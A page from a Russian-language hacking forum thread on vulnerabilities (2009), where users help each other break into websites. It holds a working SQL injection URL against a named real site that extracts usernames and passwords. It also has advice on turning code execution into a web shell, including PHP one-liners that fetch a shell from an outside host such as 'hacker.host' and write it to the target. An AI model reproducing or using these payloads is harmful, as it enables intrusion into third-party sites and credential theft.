HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 898 из 2438 « Первая < 398798848888 894 895 896 897 898 899 900 901 902 90894899813981898 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #8971  
Старый 15.09.2009, 23:18
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534

Репутация: 2731


Отправить сообщение для mailbrush с помощью ICQ
По умолчанию
Есть уязвимость на одном популярном(!) сервисе (форуме). На оооочень популярном. Каждый античатовец знает его, или был там хотя бы раз. Уязвимость заключается в том, что на форум можно заливать файл на любой(!) пост. Пример: мой ник mailbrush. Ник юзера, скажем hackadmin. hackadmin написал пост бла бла бла, онтоле похекал майкрософт. Я могу к этому посту прилепить свой файл. Стоит ли эта уязвимость отдельной темы в разделе "УЯЗВИМОСТИ" или пока держать это в привате?
 
Ответить с цитированием

  #8972  
Старый 16.09.2009, 00:50
ElteRUS
Постоянный
Регистрация: 11.10.2007
Сообщений: 406
Провел на форуме:
7215020

Репутация: 1423
По умолчанию
Цитата:
Сообщение от mailbrush  
Стоит ли эта уязвимость отдельной темы в разделе "УЯЗВИМОСТИ" или пока держать это в привате?
Чего полезного из этого можно извлечь ?

Цитата:
Сообщение от Gemini12  
2BlackSun
Не мог бы скинуть ссылочку на список таблиц 4 мускули если не затруднит. Очень надо плз.
http://www.dialog.kz/?lan=ru&id=92&pub=-1+union+select+1,2,3,4,concat_ws(0x2F,username,use rpass),6,7,8,9,10,11,12,13,14+from+users--+
 
Ответить с цитированием

  #8973  
Старый 16.09.2009, 07:31
Explоit
Banned
Регистрация: 21.07.2009
Сообщений: 20
Провел на форуме:
26854

Репутация: -11
По умолчанию
Иммется выполнение кода типа file?c=phpinfo();
пождскажите как через это залить шелл?
 
Ответить с цитированием

  #8974  
Старый 16.09.2009, 07:40
Ctacok
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
Провел на форуме:
5011696

Репутация: 2221


По умолчанию
Цитата:
Сообщение от Explоit  
Иммется выполнение кода типа file?c=phpinfo();
пождскажите как через это залить шелл?
wget
 
Ответить с цитированием

  #8975  
Старый 16.09.2009, 07:41
Explоit
Banned
Регистрация: 21.07.2009
Сообщений: 20
Провел на форуме:
26854

Репутация: -11
По умолчанию
Цитата:
Сообщение от Ctacok  
wget
а если его нету в системе? + вырублена функция system(),exex(),passtru()
 
Ответить с цитированием

  #8976  
Старый 16.09.2009, 07:47
Ctacok
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
Провел на форуме:
5011696

Репутация: 2221


По умолчанию
Цитата:
Сообщение от Explоit  
а если его нету в системе? + вырублена функция system(),exex(),passtru()
include()

ps
9000 пост
 
Ответить с цитированием

  #8977  
Старый 16.09.2009, 07:59
Explоit
Banned
Регистрация: 21.07.2009
Сообщений: 20
Провел на форуме:
26854

Репутация: -11
По умолчанию
Цитата:
Сообщение от Ctacok  
include()

ps
9000 пост
там блин такая булка, что авы выводяться вот типа так

Код:
http://ыыыы/image.php?u=124124&dateline=124124124
+ я думую что они проверяются там на пхп код.

И удалённый инклуд запрещён.а юзать логи както извратно в данном случае..

ЗЫ есть досутуп в админку, но както не получеться там uploder сделать =(
 
Ответить с цитированием

  #8978  
Старый 16.09.2009, 08:12
Ctacok
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
Провел на форуме:
5011696

Репутация: 2221


По умолчанию
Цитата:
Сообщение от Explоit  
там блин такая булка, что авы выводяться вот типа так

Код:
http://ыыыы/image.php?u=124124&dateline=124124124
+ я думую что они проверяются там на пхп код.

И удалённый инклуд запрещён.а юзать логи както извратно в данном случае..

ЗЫ есть досутуп в админку, но както не получеться там uploder сделать =(
Ну удалённый то понятно.
А вот как ты хотел то?
Инклюд логами делай.
 
Ответить с цитированием

  #8979  
Старый 16.09.2009, 08:42
warlok
Постоянный
Регистрация: 18.02.2008
Сообщений: 368
Провел на форуме:
4075418

Репутация: 386
По умолчанию
зделать какуюнибудь качалку на пхп, аля :
Код:
<? $data = implode('',file('http://127.0.0.1/shell.txt')); $fp=fopen('./123.php','wb'); fputs($fp,$data); fclose($fp); ?>
 
Ответить с цитированием

  #8980  
Старый 16.09.2009, 09:54
InFlame
Участник форума
Регистрация: 27.10.2008
Сообщений: 215
Провел на форуме:
810079

Репутация: 90
По умолчанию
Лей шелл вот так:
Код:
<?php copy("http://hacker.host/shell.txt", "./shell.php"); ?>
либо, если экранируются кавычки:
Код:
<?php copy(stripslashes("http://hacker.host/shell.txt", "./shell.php")); ?>
 
Ответить с цитированием
Ответ
Страница 898 из 2438 « Первая < 398798848888 894 895 896 897 898 899 900 901 902 90894899813981898 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ